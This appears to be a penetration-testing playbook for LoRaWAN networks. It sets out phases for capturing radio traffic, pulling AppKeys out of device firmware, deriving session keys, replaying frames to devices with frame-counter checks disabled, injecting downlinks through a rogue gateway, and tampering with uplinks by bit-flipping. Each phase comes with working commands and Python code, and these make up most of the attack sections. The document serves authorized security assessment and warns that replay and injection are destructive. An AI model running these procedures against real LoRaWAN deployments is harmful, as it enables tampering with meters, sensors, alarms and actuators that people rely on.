LoRaWAN OTAA / ABP Security Assessment
LoRaWAN is deployed globally for smart meters, asset tracking, agriculture, and industrial sensors. OTAA (Over-The-Air Activation) derives session keys per join; ABP (Activation By Personalization) hardcodes them. Both have documented attack surface: OTAA AppKeys are often extracted from the device firmware or exposed via insecure provisioning, and ABP devices commonly disable the frame-counter check, enabling full replay.
Prerequisites
- Hardware: LILYGO TTGO T-Beam (SX1276 + GPS, programmable SDR-LoRa node), RAK831 / RAK2247 gateway concentrator, or HackRF One with gr-lora. RTL-SDR is receive-only (works for capture on EU 868 MHz).
- Software: ChirpStack (rogue gateway NS),
lorawansniffer/gr-lora, LoRaWAN Auditing Framework (LAF), Scapy-LoRa,lorawan-parser.
# Install LoRaWAN Auditing Framework:
git clone https://github.com/IOActive/laf
cd laf && pip install -r requirements.txt
# Install gr-lora (GNU Radio LoRa decoder):
git clone https://github.com/rpp0/gr-lora
cd gr-lora && mkdir build && cd build && cmake .. && make && sudo make install
# lorawan-parser for offline frame analysis:
pip install lorawan-parser
LoRaWAN Frequency Reference
| Region | Uplink (MHz) | Downlink (MHz) | Spreading Factors |
|---|---|---|---|
| EU868 | 868.1, 868.3, 868.5 | 869.525 | SF7–SF12 |
| US915 | 902.3–914.9 (8 ch) | 923.3–927.5 | SF7–SF10 |
| AU915 | 915.2–927.8 | 923.3–927.5 | SF7–SF12 |
| AS923 | 923.2, 923.4 | 923.2, 923.4 | SF7–SF12 |
Phase 1: Passive Air Capture
# RTL-SDR capture on EU868 primary channel, SF7 (fastest, most common):
rtl_sdr -f 868100000 -s 1000000 -g 40 /tmp/lora_raw.iq
# Decode with gr-lora offline:
python3 gr-lora/apps/rx_file.py --freq 868.1e6 --sf 7 --bw 125000 \
--input /tmp/lora_raw.iq --output /tmp/lora_frames.txt
# Online decode with TTGO T-Beam running LoRa sniffer firmware:
# Flash: https://github.com/claudiodangelis/lora-sniffer
# Serial output at 115200:
screen /dev/ttyUSB0 115200
LAF spectrum scan (scans all EU868 channels across SF7-SF12):
python3 laf/laf.py scan --freq 868.1,868.3,868.5 --sf all --bw 125 \
--device /dev/ttyACM0 | tee /tmp/laf_scan.txt
Phase 2: OTAA Join Analysis
OTAA JoinRequest contains DevEUI (8 bytes), AppEUI/JoinEUI (8 bytes), and DevNonce (2 bytes), all in plaintext. Only the MIC is keyed with AppKey.
# Parse a captured JoinRequest frame:
python3 - <<'EOF'
from lorawan import LoRaWANMessage
# hex of a raw captured PHY payload:
payload_hex = "00AABBCCDDEEFF001122334455667701234501"
msg = LoRaWANMessage.from_hex(payload_hex)
print(f"MType: {msg.mhdr.mtype}")
print(f"AppEUI: {msg.join_request.app_eui.hex()}")
print(f"DevEUI: {msg.join_request.dev_eui.hex()}")
print(f"DevNonce: {msg.join_request.dev_nonce.hex()}")
EOF
AppKey extraction from firmware (if binary is available):
# binwalk extracts the firmware; AppKey is a 16-byte value near DevEUI in flash.
binwalk -eM firmware.bin
# Search for DevEUI (known from OTA capture) ± 32 bytes:
python3 - <<'EOF'
import re, sys
dev_eui = bytes.fromhex("AABBCCDDEEFF0011") # from captured JoinRequest
fw = open("_firmware.bin.extracted/0.bin", "rb").read()
offset = fw.find(dev_eui)
if offset >= 0:
print(f"DevEUI at 0x{offset:08x}")
print(f"Surrounding 48 bytes: {fw[offset-16:offset+32].hex()}")
# AppKey is likely 16 bytes before or after DevEUI in the provisioning struct.
EOF
Phase 3: AppKey Brute-Force / Known-Key Verification
With a known AppKey, verify and derive session keys:
import hmac, hashlib
from Crypto.Cipher import AES
APP_KEY = bytes.fromhex("2B7E151628AED2A6ABF7158809CF4F3C") # known/extracted key
def verify_join_request_mic(phypayload: bytes, app_key: bytes) -> bool:
"""Verify MIC of LoRaWAN JoinRequest. MIC = CMAC(AppKey, MHDR||AppEUI||DevEUI||DevNonce)[0:4]"""
from Crypto.Hash import CMAC
msg = phypayload[:-4] # strip 4-byte MIC
claimed_mic = phypayload[-4:]
cobj = CMAC.new(app_key, ciphermod=AES)
cobj.update(msg)
return cobj.digest()[:4] == claimed_mic
def derive_session_keys(app_key: bytes, app_nonce: bytes, net_id: bytes, dev_nonce: bytes):
"""Derive NwkSKey and AppSKey from OTAA join-accept parameters."""
def aes_ecb(key, data):
return AES.new(key, AES.MODE_ECB).encrypt(data)
nwk_s_key = aes_ecb(app_key, b'\x01' + app_nonce + net_id + dev_nonce + b'\x00'*7)
app_s_key = aes_ecb(app_key, b'\x02' + app_nonce + net_id + dev_nonce + b'\x00'*7)
return nwk_s_key, app_s_key
Phase 4: ABP Replay (Frame-Counter Disabled)
ABP devices that disable frame-counter replay protection (FCnt check = off)
will process any replayed uplink frame:
# LAF replay module — replay a captured uplink to the same gateway:
python3 laf/laf.py replay \
--payload <captured_phypayload_hex> \
--freq 868.1 --sf 7 --bw 125 \
--device /dev/ttyACM0 \
--count 5 # send 5 times to ensure reception
# The NS will process duplicate frames with identical FCnt if check is disabled.
Detect FCnt check status:
- If the NS accepts two frames with the same FCnt → check is disabled.
- Send an older FCnt (FCnt-1) — if accepted, ABP FCnt is not enforced.
Phase 5: Downlink Injection via Rogue Gateway
Set up a ChirpStack rogue gateway to inject downlinks to a device whose AppSKey is known (from extracted firmware or OTAA with known AppKey):
# 1. Stand up ChirpStack Network Server (docker-compose):
git clone https://github.com/brocaar/chirpstack-docker
cd chirpstack-docker && docker-compose up -d
# 2. Register a gateway pointing to your TTGO/RAK concentrator.
# 3. Register the target device (DevEUI, AppKey from extraction).
# 4. Use ChirpStack API to enqueue a downlink:
curl -s -X POST "http://localhost:8080/api/devices/${DEV_EUI}/queue" \
-H "Grpc-Metadata-Authorization: Bearer ${JWT_TOKEN}" \
-H "Content-Type: application/json" \
-d '{"deviceQueueItem": {"confirmed": false, "fPort": 1, "data": "AQIDBA=="}}'
Craft raw downlink with known AppSKey (ABP or derived from OTAA):
from Crypto.Cipher import AES
def encrypt_frmpayload(app_s_key: bytes, dev_addr: bytes, fcnt: int,
direction: int, plaintext: bytes) -> bytes:
"""LoRaWAN AES-128-CTR FRMPayload encryption."""
k = len(plaintext)
blocks = (k + 15) // 16
s = b""
for i in range(1, blocks + 1):
ai = (b'\x01' + b'\x00'*4 + bytes([direction]) +
dev_addr[::-1] + # little-endian
fcnt.to_bytes(4, 'little') +
b'\x00' + bytes([i]))
s += AES.new(app_s_key, AES.MODE_ECB).encrypt(ai)
return bytes(a ^ b for a, b in zip(plaintext, s[:k]))
Phase 6: Bit-Flip Attack on Unconfirmed Uplinks (ABP, no MIC validation)
When ABP NwkSKey is known, craft MIC for a bit-flipped FRMPayload to alter plaintext content (e.g., sensor reading reported to cloud):
# Flip a specific bit in the ciphertext → predictable plaintext change.
# Only viable if the application layer does not validate message integrity
# beyond LoRaWAN MIC (which the attacker can recalculate with NwkSKey).
# This is documented in Toothpick / LoRaWAN security analysis papers.
ciphertext = bytearray(encrypted_payload)
ciphertext[TARGET_BYTE] ^= FLIP_MASK
# Recalculate MIC with NwkSKey and submit via rogue gateway.
Evidence
EVIDENCE="/workspace/evidence/lorawan-otaa/$(date +%Y%m%d_%H%M%S)"
mkdir -p "$EVIDENCE"
cp /tmp/lora_frames.txt "$EVIDENCE/"
cp /tmp/laf_scan.txt "$EVIDENCE/"
sha256sum "$EVIDENCE"/* >> "$EVIDENCE/sha256.txt"
kg_add_node(
kind="finding",
label=f"LoRaWAN AppKey extracted for DevEUI={dev_eui_hex}",
props={
"key": f"lorawan-otaa::{dev_eui_hex}",
"dev_eui": dev_eui_hex,
"app_eui": app_eui_hex,
"app_key": app_key_hex,
"abp_fcnt_disabled": abp_fcnt_disabled,
"source": "firmware-extraction+laf",
},
)
OPSEC Notes
- OTAA capture is passive — no RF emission. RTL-SDR or TTGO sniffer only.
- Replaying to a live NS will generate real device state changes (actuators, alarms). Gate replay tests on explicit operator authorization.
- A rogue gateway is detectable by the NS if geo-location of the gateway IP differs from the registered GPS position.
- LoRaWAN 1.1 adds replay protection and frame-counter synchronization that mitigates ABP replay; verify spec version before testing.
- Downlink injection affects device behavior (firmware OTA possible on some devices via downlink commands). Treat as destructive.
References
- LoRaWAN Auditing Framework (LAF): https://github.com/IOActive/laf
- ChirpStack: https://www.chirpstack.io
- gr-lora: https://github.com/rpp0/gr-lora
- Butun et al. "Security of LoRaWAN v1.1" (2019) — frame-counter and replay analysis.
- Toothpick: LoRaWAN downlink injection PoC (DEF CON 27).